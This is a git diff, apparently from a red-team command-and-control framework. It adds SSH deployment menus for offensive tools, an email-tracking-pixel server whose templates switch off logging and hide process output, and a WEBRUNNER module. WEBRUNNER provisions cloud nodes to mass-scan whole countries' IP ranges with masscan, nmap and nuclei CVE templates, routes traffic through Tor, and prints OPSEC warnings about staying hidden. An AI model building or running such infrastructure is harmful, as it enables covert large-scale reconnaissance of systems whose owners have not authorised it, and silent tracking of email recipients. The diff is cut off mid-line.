"10": "ping-sweep", + } + + if choice == "99": + return + elif choice in tool_map: + launch_local_tool(tool_map[choice]) + wait_for_input() + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() + + +def remote_submenu(): + """Submenu for Remote Deployment.""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}REMOTE DEPLOYMENT{COLORS['RESET']}") + print(f"{COLORS['WHITE']}================={COLORS['RESET']}") + print(f"1) Deploy Umbra Suite to Remote Machine") + print(f"2) Deploy Red Team Tools to Remote Machine") + print(f"3) Deploy All Tools to Remote Machine") + print(f"4) SSH into Remote & Run Umbra") + print(f"5) SSH into Remote & Run Tool") + print(f"6) Check Remote Tool Status") + print(f"99) Back") + + choice = input(f"\nSelect: ").strip() + + if choice == "99": + return + + elif choice == "1": + host, ssh_user, ssh_key = select_target_host() + if host: + deploy_umbra_remote(host, ssh_user, ssh_key) + wait_for_input() + + elif choice == "2": + host, ssh_user, ssh_key = select_target_host() + if host: + deploy_redteam_remote(host, ssh_user, ssh_key) + wait_for_input() + + elif choice == "3": + host, ssh_user, ssh_key = select_target_host() + if host: + deploy_umbra_remote(host, ssh_user, ssh_key) + deploy_redteam_remote(host, ssh_user, ssh_key) + wait_for_input() + + elif choice == "4": + # SSH into remote and run Umbra launcher + deployments = get_deployments() + if not deployments: + host, ssh_user, ssh_key = select_target_host() + else: + print(f"\n{COLORS['CYAN']}Known deployments:{COLORS['RESET']}") + for i, d in enumerate(deployments, 1): + print(f" {i}) {d['host']} ({d['ssh_user']}@) โ€” deployed {d['timestamp']}") + print(f" {len(deployments) + 1}) Other host") + + sel = input(f"\n Select: ").strip() + try: + idx = int(sel) - 1 + if 0 <= idx < len(deployments): + d = deployments[idx] + host = d["host"] + ssh_user = d["ssh_user"] + ssh_key = d["ssh_key"] if d["ssh_key"] != "default" else None + else: + host, ssh_user, ssh_key = select_target_host() + except ValueError: + host, ssh_user, ssh_key = select_target_host() + + if host: + ssh_run_tool(host, ssh_user, ssh_key, "/opt/umbra/umbra.py") + wait_for_input() + + elif choice == "5": + # SSH into remote and run a specific tool + host, ssh_user, ssh_key = select_target_host() + if not host: + wait_for_input() + continue + + print(f"\n{COLORS['CYAN']}Select tool to run:{COLORS['RESET']}") + all_tools = list(TOOLS.keys()) + for i, name in enumerate(all_tools, 1): + info = TOOLS[name] + status = f"{COLORS['GREEN']}LOCAL{COLORS['RESET']}" if os.path.exists(info["path"]) else f"{COLORS['RED']}MISSING{COLORS['RESET']}" + print(f" {i:2d}) {name:16s} โ€” {info['desc']} [{status}]") + + sel = input(f"\n Select tool #: ").strip() + try: + idx = int(sel) - 1 + if 0 <= idx < len(all_tools): + tool_name = all_tools[idx] + info = TOOLS[tool_name] + # Determine remote path + if tool_name in UMBRA_TOOLS: + remote_path = f"/opt/umbra/{os.path.basename(info['path'])}" + else: + remote_path = f"/opt/redteam/{tool_name}/{os.path.basename(info['path'])}" + ssh_run_tool(host, ssh_user, ssh_key, remote_path) + except (ValueError, IndexError): + print(f"{COLORS['RED']}Invalid selection{COLORS['RESET']}") + wait_for_input() + + elif choice == "6": + host, ssh_user, ssh_key = select_target_host() + if host: + check_remote_tools(host, ssh_user, ssh_key) + wait_for_input() + + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() + + +def ops_submenu(): + """Submenu for Ops Dashboard & Engagement Management.""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}OPS & ENGAGEMENT MANAGEMENT{COLORS['RESET']}") + print(f"{COLORS['WHITE']}============================{COLORS['RESET']}") + print(f"1) Ops Dashboard โ€” Real-Time Engagement Monitor") + print(f"2) Ops Bridge โ€” Sync State from Remote Hosts") + print(f"3) Heartbeat Ingest โ€” Receive Host Check-Ins") + print(f"4) Umbra tmux โ€” Launch tmux Workspace") + print(f"99) Back") + + choice = input(f"\nSelect: ").strip() + + if choice == "99": + return + elif choice == "1": + launch_local_tool("ops-dashboard") + wait_for_input() + elif choice == "2": + launch_local_tool("ops-bridge") + wait_for_input() + elif choice == "3": + launch_local_tool("heartbeat-ingest") + wait_for_input() + elif choice == "4": + _launch_umbra_tmux() + wait_for_input() + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() + + +def _launch_umbra_tmux(): + """Prompt for engagement and launch Umbra in tmux mode.""" + engagement = input(f"\n Engagement name: ").strip() + if not engagement: + print(f"{COLORS['YELLOW']}No engagement specified.{COLORS['RESET']}") + return + umbra_script = os.path.join(UMBRA_PATH, "umbra.py") + if not os.path.exists(umbra_script): + print(f"{COLORS['RED']}Umbra launcher not found at {umbra_script}{COLORS['RESET']}") + return + try: + subprocess.run([sys.executable, umbra_script, "-E", engagement, "--tmux", "--dashboard"]) + except KeyboardInterrupt: + pass + + +def _forensics_submenu(): + """Submenu for Forensics & Malware Analysis tools.""" + # Delegate to the forensics module for full functionality + forensics_module_path = os.path.join( + os.path.dirname(__file__), '..', 'forensics', 'deploy_forensics.py' + ) + if os.path.exists(forensics_module_path): + import importlib.util + spec = importlib.util.spec_from_file_location('deploy_forensics', forensics_module_path) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + mod.forensics_menu() + else: + # Fallback: launch tools directly + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}FORENSICS & MALWARE ANALYSIS{COLORS['RESET']}") + print(f"{COLORS['WHITE']}============================={COLORS['RESET']}") + print(f"1) IR-Sandbox (Interactive Menu)") + print(f"2) Link-Sandbox (URL Analysis)") + print(f"99) Back") + + choice = input(f"\nSelect: ").strip() + if choice == "99": + return + elif choice == "1": + launch_local_tool("ir-sandbox") + wait_for_input() + elif choice == "2": + launch_local_tool("link-sandbox") + wait_for_input() + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() + + +def recon_tools_menu(): + """Main entry point โ€” called from c2itall deploy.py tools_menu().""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}RECON & RED TEAM TOOLS{COLORS['RESET']}") + print(f"{COLORS['WHITE']}======================{COLORS['RESET']}") + + # Show local tool status summary + umbra_found = sum(1 for t in UMBRA_TOOLS if check_tool_status(t)) + redteam_found = sum(1 for t in REDTEAM_TOOLS if check_tool_status(t)) + ops_found = sum(1 for t in OPS_TOOLS if check_tool_status(t)) + print(f" Local: Umbra {COLORS['GREEN']}{umbra_found}/{len(UMBRA_TOOLS)}{COLORS['RESET']} | " + f"Red Team {COLORS['GREEN']}{redteam_found}/{len(REDTEAM_TOOLS)}{COLORS['RESET']} | " + f"Ops {COLORS['CYAN']}{ops_found}/{len(OPS_TOOLS)}{COLORS['RESET']}") + print() + + print(f"1) Umbra Reconnaissance Suite {COLORS['GREEN']}({umbra_found} tools){COLORS['RESET']}") + print(f"2) Red Team Operations Tools {COLORS['GREEN']}({redteam_found} tools){COLORS['RESET']}") + print(f"3) Remote Deployment & SSH") + print(f"4) Ops & Engagement Management {COLORS['CYAN']}(Dashboard, Bridge, Heartbeat){COLORS['RESET']}") + print(f"5) Forensics & Sandbox {COLORS['YELLOW']}(IR-Sandbox, Link-Sandbox){COLORS['RESET']}") + print(f"99) Return to Tools Menu") + + choice = input(f"\nSelect: ").strip() + + if choice == "1": + umbra_submenu() + elif choice == "2": + redteam_submenu() + elif choice == "3": + remote_submenu() + elif choice == "4": + ops_submenu() + elif choice == "5": + _forensics_submenu() + elif choice == "99": + return + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() diff --git a/modules/tracker/templates/simple_email_tracker.py.j2 b/modules/tracker/templates/simple_email_tracker.py.j2 new file mode 100644 index 0000000..1c10def --- /dev/null +++ b/modules/tracker/templates/simple_email_tracker.py.j2 @@ -0,0 +1,221 @@ +#!/usr/bin/env python3 +""" +Simple Email Tracking Server + +A minimal Flask application that serves transparent tracking pixels +and logs email opens with metadata. +""" + +import os +import json +import time +import logging +from datetime import datetime +from flask import Flask, request, send_file, render_template_string + +# Configure logging +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[ + logging.FileHandler('/root/Tools/tracker/data/tracker.log'), + logging.StreamHandler() + ] +) + +# Create Flask app +app = Flask(__name__) + +# Directory to store tracking data +DATA_DIR = '/root/Tools/tracker/data' +os.makedirs(DATA_DIR, exist_ok=True) + +# Path to 1x1 transparent pixel +PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png') + +# Create 1x1 transparent PNG if it doesn't exist +if not os.path.exists(PIXEL_PATH): + from PIL import Image + img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0)) + img.save(PIXEL_PATH) + +# Path to tracking data +TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json') + +def load_tracking_data(): + """Load existing tracking data from JSON file""" + if os.path.exists(TRACKING_DATA_PATH): + try: + with open(TRACKING_DATA_PATH, 'r') as f: + return json.load(f) + except json.JSONDecodeError: + logging.error("Error loading tracking data, starting fresh") + return {} + +def save_tracking_data(data): + """Save tracking data to JSON file""" + with open(TRACKING_DATA_PATH, 'w') as f: + json.dump(data, f, indent=2) + +@app.route('/pixel/.png') +def tracking_pixel(tracking_id): + """Serve a tracking pixel and log the request""" + # Get client information + user_agent = request.headers.get('User-Agent', 'Unknown') + ip_address = request.remote_addr + timestamp = datetime.now().isoformat() + referer = request.headers.get('Referer', 'Unknown') + + # Log the tracking event + logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}") + + # Add tracking event to data + tracking_data = load_tracking_data() + + if tracking_id not in tracking_data: + tracking_data[tracking_id] = [] + + tracking_data[tracking_id].append({ + 'timestamp': timestamp, + 'ip_address': ip_address, + 'user_agent': user_agent, + 'referer': referer + }) + + save_tracking_data(tracking_data) + + # Return the 1x1 transparent pixel + return send_file(PIXEL_PATH, mimetype='image/png') + +@app.route('/') +def dashboard(): + """Display tracking statistics dashboard""" + tracking_data = load_tracking_data() + + # Prepare data for the dashboard + stats = [] + for tracking_id, events in tracking_data.items(): + stats.append({ + 'id': tracking_id, + 'views': len(events), + 'last_view': events[-1]['timestamp'] if events else 'Never', + 'unique_ips': len(set(e['ip_address'] for e in events)) + }) + + # Sort by most views + stats.sort(key=lambda x: x['views'], reverse=True) + + # Simple HTML dashboard template + template = """ + + + + Email Tracking Dashboard - {{ tracker_domain }} + + + +
+

Email Tracking Dashboard

+

To track email opens, add this HTML to your emails:

+
<img src="https://{{ redirector_domain }}/px/YOUR_TRACKING_ID.png" height="1" width="1" />
+

Alternatively, use this URL with your C2 server directly:

+
<img src="https://{{ tracker_domain }}/pixel/YOUR_TRACKING_ID.png" height="1" width="1" />
+ +

Tracking Statistics

+ + + + + + + + + {% for stat in stats %} + + + + + + + + {% endfor %} +
Tracking IDViewsUnique IPsLast ViewDetails
{{ stat.id }}{{ stat.views }}{{ stat.unique_ips }}{{ stat.last_view }}View Details
+
+ + + """ + + return render_template_string( + template, + stats=stats, + tracker_domain="{{ tracker_domain }}", + redirector_domain="{{ redirector_subdomain }}.{{ domain }}" + ) + +@app.route('/details/') +def tracking_details(tracking_id): + """Display detailed tracking information for a specific ID""" + tracking_data = load_tracking_data() + + if tracking_id not in tracking_data: + return f"No data found for tracking ID: {tracking_id}", 404 + + events = tracking_data[tracking_id] + + # Simple HTML template for details + template = """ + + + + Tracking Details: {{ tracking_id }} + + + +
+ +

Tracking Details: {{ tracking_id }}

+

Total views: {{ events|length }}

+ +

Events

+ + + + + + + + {% for event in events %} + + + + + + + {% endfor %} +
TimeIP AddressUser AgentReferer
{{ event.timestamp }}{{ event.ip_address }}{{ event.user_agent }}{{ event.referer }}
+
+ + + """ + + return render_template_string(template, tracking_id=tracking_id, events=events) + +if __name__ == '__main__': + app.run(host='0.0.0.0', port=5000, debug=False) \ No newline at end of file diff --git a/modules/tracker/templates/tracker-config.j2 b/modules/tracker/templates/tracker-config.j2 new file mode 100644 index 0000000..bfa756c --- /dev/null +++ b/modules/tracker/templates/tracker-config.j2 @@ -0,0 +1,33 @@ +# templates/tracker-config.j2 +""" +Email Tracker Configuration +""" + +# Basic Configuration +SECRET_KEY = '{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}' +DEBUG = False + +# Database settings +DB_NAME = 'tracker.db' + +# Domain configuration +DOMAIN = '{{ tracker_domain }}' +USE_HTTPS = {{ tracker_setup_ssl | default(true) | lower }} + +# Tracking pixel path +TRACKING_PATH = 'pixel.png' + +# API Keys +{% if tracker_ipinfo_token is defined and tracker_ipinfo_token != "" %} +IPINFO_TOKEN = '{{ tracker_ipinfo_token }}' +{% else %} +IPINFO_TOKEN = None +{% endif %} + +# Notification settings +ENABLE_NOTIFICATIONS = False +NOTIFICATION_EMAIL = '{{ tracker_email | default("admin@" + domain) }}' + +# Logger configuration +LOG_LEVEL = 'INFO' +LOG_FILE = '/var/log/tracker.log' \ No newline at end of file diff --git a/modules/tracker/templates/tracker-nginx.conf.j2 b/modules/tracker/templates/tracker-nginx.conf.j2 new file mode 100644 index 0000000..589161f --- /dev/null +++ b/modules/tracker/templates/tracker-nginx.conf.j2 @@ -0,0 +1,52 @@ +server { + listen 80; + listen [::]:80; + server_name {{ tracker_domain }}; + + # Redirect to HTTPS if SSL is enabled + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name {{ tracker_domain }}; + + # SSL Configuration + ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem; + + # Proxy to tracker app + location / { + proxy_pass http://127.0.0.1:5000; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } + + # Specific location for tracking pixel + location ~ ^/pixel/(.+)\.png$ { + proxy_pass http://127.0.0.1:5000/pixel/$1.png; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Cache control - don't cache tracking pixels + add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0"; + expires off; + } + + # Security headers + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-XSS-Protection "1; mode=block" always; + add_header Referrer-Policy "no-referrer" always; + + {% if zero_logs | default(true) %} + # Disable logging for privacy + access_log off; + error_log /dev/null crit; + {% endif %} +} \ No newline at end of file diff --git a/modules/tracker/templates/tracker.service.j2 b/modules/tracker/templates/tracker.service.j2 new file mode 100644 index 0000000..5d73fb7 --- /dev/null +++ b/modules/tracker/templates/tracker.service.j2 @@ -0,0 +1,23 @@ +[Unit] +Description=Email Tracking Server +After=network.target + +[Service] +User=tracker +Group=tracker +WorkingDirectory=/root/Tools/tracker +ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py +Restart=always +RestartSec=10 + +# Security settings +PrivateTmp=true +ProtectSystem=full +NoNewPrivileges=true + +# Hide process information +StandardOutput=null +StandardError=journal + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/modules/webrunner/__init__.py b/modules/webrunner/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/modules/webrunner/deploy_webrunner.py b/modules/webrunner/deploy_webrunner.py new file mode 100644 index 0000000..0efb72a --- /dev/null +++ b/modules/webrunner/deploy_webrunner.py @@ -0,0 +1,621 @@ +#!/usr/bin/env python3 +""" +WEBRUNNER โ€” Distributed geo-targeted recon scanning module for c2itall +Provisions cloud nodes across multiple providers, distributes CIDR space, +runs masscan/nmap/geo-scout in parallel, collects and merges results. +""" + +import json +import os +import sys +from pathlib import Path + +_base = os.path.join(os.path.dirname(__file__), '..', '..') +if _base not in sys.path: + sys.path.insert(0, _base) + +from utils.common import ( + COLORS, clear_screen, print_banner, generate_deployment_id, + setup_logging, get_public_ip, confirm_action, wait_for_input, +) +from utils.provider_utils import gather_provider_config +from utils.ssh_utils import generate_ssh_key +from utils.naming_utils import show_naming_relationship +from utils.deployment_engine import execute_playbook, set_provider_environment +from utils.chunk_utils import get_country_cidrs, chunk_cidrs, ip_count +from utils.provider_rates import ( + PRESETS, SCAN_MODES, DEFAULT_INSTANCE, + build_estimate_table, fmt_hours, fmt_ip_count, +) + +WEBRUNNER_INPUTS = Path(__file__).parent / 'inputs' + +SUPPORTED_PROVIDERS = ['linode', 'aws', 'flokinet'] +PROVIDER_LABELS = {'linode': 'Linode', 'aws': 'AWS', 'flokinet': 'FlokiNET'} + + +# โ”€โ”€ menu โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def webrunner_menu(): + config = gather_webrunner_parameters() + if config: + execute_webrunner_deployment(config) + + +# โ”€โ”€ helpers โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def _select_providers() -> list[str]: + print(f"\n{COLORS['BLUE']}Provider Selection (multi-select):{COLORS['RESET']}") + for i, key in enumerate(SUPPORTED_PROVIDERS, 1): + print(f" {i}) {PROVIDER_LABELS[key]}") + + raw = input("Select providers (e.g. 1 or 1,2) [1]: ").strip() or "1" + selected = [] + for part in raw.split(','): + try: + idx = int(part.strip()) - 1 + if 0 <= idx < len(SUPPORTED_PROVIDERS): + key = SUPPORTED_PROVIDERS[idx] + if key not in selected: + selected.append(key) + except ValueError: + pass + return selected or ['linode'] + + +def _select_countries() -> tuple[list[str], dict[str, list]]: + print(f"\n{COLORS['BLUE']}Country Selection:{COLORS['RESET']}") + print(f"1) Use bundled countries.yaml") + print(f"2) Enter country codes manually") + + choice = input("Select [1]: ").strip() or "1" + exclude_map: dict[str, list] = {} + + if choice == "1": + default_path = str(WEBRUNNER_INPUTS / 'countries.yaml') + raw = input(f"Path [{default_path}]: ").strip() + path = Path(raw) if raw else WEBRUNNER_INPUTS / 'countries.yaml' + + if not path.exists(): + print(f"{COLORS['RED']}File not found: {path}{COLORS['RESET']}") + return [], {} + + import yaml + with open(path) as f: + data = yaml.safe_load(f) + + countries = data.get('countries', []) + codes = [c['code'].upper() for c in countries] + for c in countries: + if c.get('exclude_cidrs'): + exclude_map[c['code'].upper()] = c['exclude_cidrs'] + return codes, exclude_map + + raw = input("Country codes (comma-separated, e.g. RU,IR,CN): ").strip() + codes = [c.strip().upper() for c in raw.split(',') if c.strip()] + return codes, exclude_map + + +def _select_scan_mode() -> str: + print(f"\n{COLORS['BLUE']}Scan Mode:{COLORS['RESET']}") + modes = list(SCAN_MODES.items()) + for i, (key, val) in enumerate(modes, 1): + print(f" {i}) {key:<20} {val['desc']}") + + choice = input("Select [1]: ").strip() or "1" + try: + idx = int(choice) - 1 + if 0 <= idx < len(modes): + return modes[idx][0] + except ValueError: + pass + return 'geo-scout' + + +def _load_vars_file(path: str) -> dict: + if not path: + return {} + p = Path(path) + if not p.exists(): + print(f"{COLORS['YELLOW']} Vars file not found: {path} โ€” continuing interactively{COLORS['RESET']}") + return {} + import yaml + try: + with open(p) as f: + data = yaml.safe_load(f) or {} + print(f"{COLORS['GREEN']} Loaded vars: {p.name}{COLORS['RESET']}") + return data + except Exception as e: + print(f"{COLORS['YELLOW']} Could not parse vars file ({e}) โ€” continuing interactively{COLORS['RESET']}") + return {} + + +def _get_targets_info(scan_mode: str) -> tuple[str, list[int]]: + if scan_mode == 'geo-scout': + default = str(WEBRUNNER_INPUTS / 'targets.yaml') + raw = input(f"Path to targets.yaml [{default}]: ").strip() + path = raw or default + + import yaml + try: + with open(path) as f: + data = yaml.safe_load(f) + ports: set[int] = set() + for t in data.get('targets', []): + ports.update(t.get('ports', [])) + return path, sorted(ports) + except Exception as e: + print(f"{COLORS['YELLOW']}Could not load targets ({e}), using defaults.{COLORS['RESET']}") + return path, [22, 80, 443, 8080, 8443] + + default_ports = "22,80,443,8080,8443" + raw = input(f"Ports to scan [{default_ports}]: ").strip() or default_ports + ports_list: list[int] = [] + for p in raw.split(','): + try: + ports_list.append(int(p.strip())) + except ValueError: + pass + return "", sorted(set(ports_list)) or [80, 443, 22] + + +def _get_nuclei_info(vars_overrides: dict) -> tuple[str, str]: + """Returns (local_template_path, remote_template_path).""" + print(f"\n{COLORS['BLUE']}Nuclei Template:{COLORS['RESET']}") + if 'nuclei_template' in vars_overrides: + local_path = vars_overrides['nuclei_template'] + print(f" Template: {local_path} (from vars file)") + else: + local_path = input(" Path to nuclei template (.yaml): ").strip() + if not local_path or not Path(local_path).exists(): + print(f"{COLORS['RED']} Template not found: {local_path}{COLORS['RESET']}") + return "", "" + return local_path, "/root/webrunner/nuclei_template.yaml" + + +def _get_tuning_params(scan_mode: str, default_rate: int, vars_overrides: dict) -> dict: + """Gather advanced tuning params. Returns dict of tuning config keys.""" + tuning: dict = {} + show_header = True + + def _prompt(label: str, key: str, default, cast=int) -> None: + nonlocal show_header + if show_header: + print(f"\n{COLORS['BLUE']}Advanced Tuning (Enter = use default):{COLORS['RESET']}") + show_header = False + if key in vars_overrides: + value = cast(vars_overrides[key]) + source = "vars file" + else: + raw = input(f" {label} [{default}]: ").strip() + value = cast(raw) if raw else default + source = None + if isinstance(value, (int, float)) and value <= 0: + print(f"{COLORS['YELLOW']} {label}={value} invalid (must be > 0); using default {default}{COLORS['RESET']}") + value = default + tuning[key] = value + if source: + print(f" {label}: {value} ({source})") + + _prompt("masscan rate (pkt/s)", "masscan_rate", default_rate) + + if scan_mode in ('masscan+nmap', 'geo-scout'): + _prompt("nmap timing T1-T4", "nmap_timing", 4) + _prompt("nmap per-host timeout (s)", "nmap_timeout", 60) + _prompt("nmap parallel workers", "nmap_workers", 10) + + if scan_mode == 'masscan+nuclei': + _prompt("nuclei rate limit (req/s)", "nuclei_rate", 150) + _prompt("nuclei concurrency", "nuclei_concurrency", 25) + _prompt("nuclei timeout (s)", "nuclei_timeout", 10) + + return tuning + + +def _show_masscan_tor_warning(): + R = COLORS['RED'] + Y = COLORS['YELLOW'] + W = COLORS['WHITE'] + Z = COLORS['RESET'] + print(f"\n{R}{'โ–ˆ' * 70}{Z}") + print(f"{R}โ–ˆ โš  CRITICAL OPSEC WARNING โ€” MASSCAN BYPASSES TOR โ–ˆ{Z}") + print(f"{R}{'โ–ˆ' * 70}{Z}") + print(f"{W} masscan uses raw sockets and CANNOT be tunneled through Tor or") + print(f" proxychains. Every SYN packet sent during the masscan phase reveals") + print(f" THIS CLOUD NODE'S IP to the targets and any monitoring along the path.{Z}") + print() + print(f"{Y} Tor will protect: {Z}{W}nmap fingerprinting, nuclei requests, probe banners{Z}") + print(f"{Y} Tor will NOT protect: {Z}{R}masscan SYN scan (bypasses the proxy entirely){Z}") + print() + print(f"{W} If you need full Tor coverage, use 'nmap-only' mode (slow but fully") + print(f" proxied via -sT). The masscan phase is fundamentally incompatible.{Z}\n") + + +def _show_caveats_block(scan_mode: str, use_tor: bool): + Y = COLORS['YELLOW'] + W = COLORS['WHITE'] + R = COLORS['RED'] + Z = COLORS['RESET'] + print(f"{Y} Caveats โ€” empirical estimates, real scans vary ยฑ30%:{Z}") + print(f"{W} โ€ข Hit rate assumes ~1% of IPs have open ports on selected ports.") + print(f" Real range: 0.5%โ€“5% (higher for SSH/HTTP/HTTPS, lower for niche") + print(f" ports). Override via vars file: hit_rate: 0.03{Z}") + if scan_mode in ('masscan+nuclei',): + print(f"{W} โ€ข Nuclei estimate assumes 5s/target (typical CVE template, 1โ€“3 HTTP") + print(f" requests). Heavy templates with many requests/matchers run 2โ€“5ร—") + print(f" longer.{Z}") + if scan_mode in ('masscan+nmap', 'geo-scout', 'nmap-only'): + print(f"{W} โ€ข nmap timing: T1=60s/host, T2=30s, T3=15s, T4=10s. Lower T values") + print(f" evade rate-limit detection but multiply scan time accordingly.{Z}") + if use_tor: + print(f"{R} โ€ข Tor adds 5ร— latency to nmap/nuclei/probe phases. Real overhead") + print(f" varies 3ร—โ€“10ร— depending on circuit quality. Masscan is NOT") + print(f" proxied โ€” see the warning banner above.{Z}") + print(f"{W} โ€ข Provisioning: ~5 min/node included. Add 5โ€“10 min for first-time") + print(f" cloud-provider auth or new region.") + print(f" โ€ข Cost: Linode/FlokiNET bill minimum 1h per node. AWS bills per") + print(f" second. Short scans still incur the per-provider minimum.{Z}\n") + + +def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], scan_mode: str, use_tor: bool = False, tuning: dict | None = None): + rows = build_estimate_table(total_ips, n_ports, providers, scan_mode, use_tor=use_tor, tuning=tuning) + + C = COLORS['CYAN'] + W = COLORS['WHITE'] + Y = COLORS['YELLOW'] + G = COLORS['GREEN'] + R = COLORS['RESET'] + + masscan_modes = ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei') + if use_tor and scan_mode in masscan_modes: + _show_masscan_tor_warning() + + tor_note = " [Tor: estimates reflect nmap/probe latency only]" if use_tor else "" + print(f"\n{C}{'โ”€' * 70}{R}") + print(f"{C} WEBRUNNER โ€” Cost & Time Estimate{R}") + print(f"{W} Total: {fmt_ip_count(total_ips)} IPs {n_ports} ports Mode: {scan_mode}{R}") + print(f"{W} Providers: {', '.join(PROVIDER_LABELS[p] for p in providers)}{Y}{tor_note}{R}") + if tuning: + bits = [] + if 'masscan_rate' in tuning: + bits.append(f"masscan={tuning['masscan_rate']}pps") + if 'nmap_timing' in tuning: + bits.append(f"nmap=T{tuning['nmap_timing']}/{tuning.get('nmap_workers', 10)}w") + if 'nuclei_rate' in tuning and scan_mode == 'masscan+nuclei': + bits.append(f"nuclei={tuning['nuclei_rate']}rps/{tuning.get('nuclei_concurrency', 25)}c") + if bits: + print(f"{W} Tuning: {' ยท '.join(bits)}{R}") + print(f"{C}{'โ”€' * 70}{R}") + print(f" {'Preset':<14} {'Nodes':>6} {'IPs/Node':>10} {'Time/Node':>12} {'Total $':>10}") + print(f" {'โ”€' * 56}") + + for row in rows: + star = " *" if row['preset'] == 'balanced' else " " + color = G if row['preset'] == 'balanced' else W + ips_per_node = total_ips // row['n_nodes'] if row['n_nodes'] else total_ips + print( + f"{color}{star}{row['label']:<12} {row['n_nodes']:>6} " + f"{fmt_ip_count(ips_per_node):>10} " + f"{fmt_hours(row['hours_per_node']):>12} " + f"${row['total_cost_usd']:>9.2f}{R}" + ) + + print(f"{C}{'โ”€' * 70}{R}") + print(f"{Y} * = recommended (Pareto-optimal: speed vs. billing minimum){R}\n") + _show_caveats_block(scan_mode, use_tor) + + +# โ”€โ”€ parameter gathering โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def gather_webrunner_parameters() -> dict | None: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}WEBRUNNER SETUP{COLORS['RESET']}") + print(f"{COLORS['WHITE']}==============={COLORS['RESET']}") + + config: dict = {} + + # Deployment ID + config['deployment_id'] = generate_deployment_id() + print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}") + + # Optional vars file โ€” pre-fills tuning defaults + vars_raw = input("Vars file (optional, skip to configure interactively): ").strip() + vars_overrides = _load_vars_file(vars_raw) + + # Engagement name โ€” auto if blank + raw_eng = input(f"Engagement name [{config['deployment_id']}]: ").strip() + config['engagement'] = raw_eng or config['deployment_id'] + + # Provider selection โ€” multi-select, each provider prompts for creds + region + providers = _select_providers() + config['providers'] = providers + + for provider in providers: + provider_config = gather_provider_config(provider) + if not provider_config: + return None + config.update(provider_config) + + print(f"{COLORS['GREEN']}Providers: {', '.join(PROVIDER_LABELS[p] for p in providers)}{COLORS['RESET']}") + + # Deployment type + config['deployment_type'] = 'webrunner' + config['webrunner_deployment'] = True + + # Naming โ€” auto-derive from deployment_id, no second prompt + config['webrunner_name'] = f"wr-{config['deployment_id']}" + + # SSH key + ssh_key_path = generate_ssh_key(config['webrunner_name']) + if not ssh_key_path: + print(f"{COLORS['RED']}Failed to generate SSH key.{COLORS['RESET']}") + return None + config['ssh_key_path'] = f"{ssh_key_path}.pub" + config['ssh_key_name'] = os.path.basename(ssh_key_path) + print(f"{COLORS['GREEN']}SSH key generated: {ssh_key_path}{COLORS['RESET']}") + + # Country / CIDR selection + country_codes, exclude_map = _select_countries() + if not country_codes: + print(f"{COLORS['RED']}No countries selected.{COLORS['RESET']}") + return None + config['country_codes'] = country_codes + print(f"{COLORS['GREEN']}Countries: {', 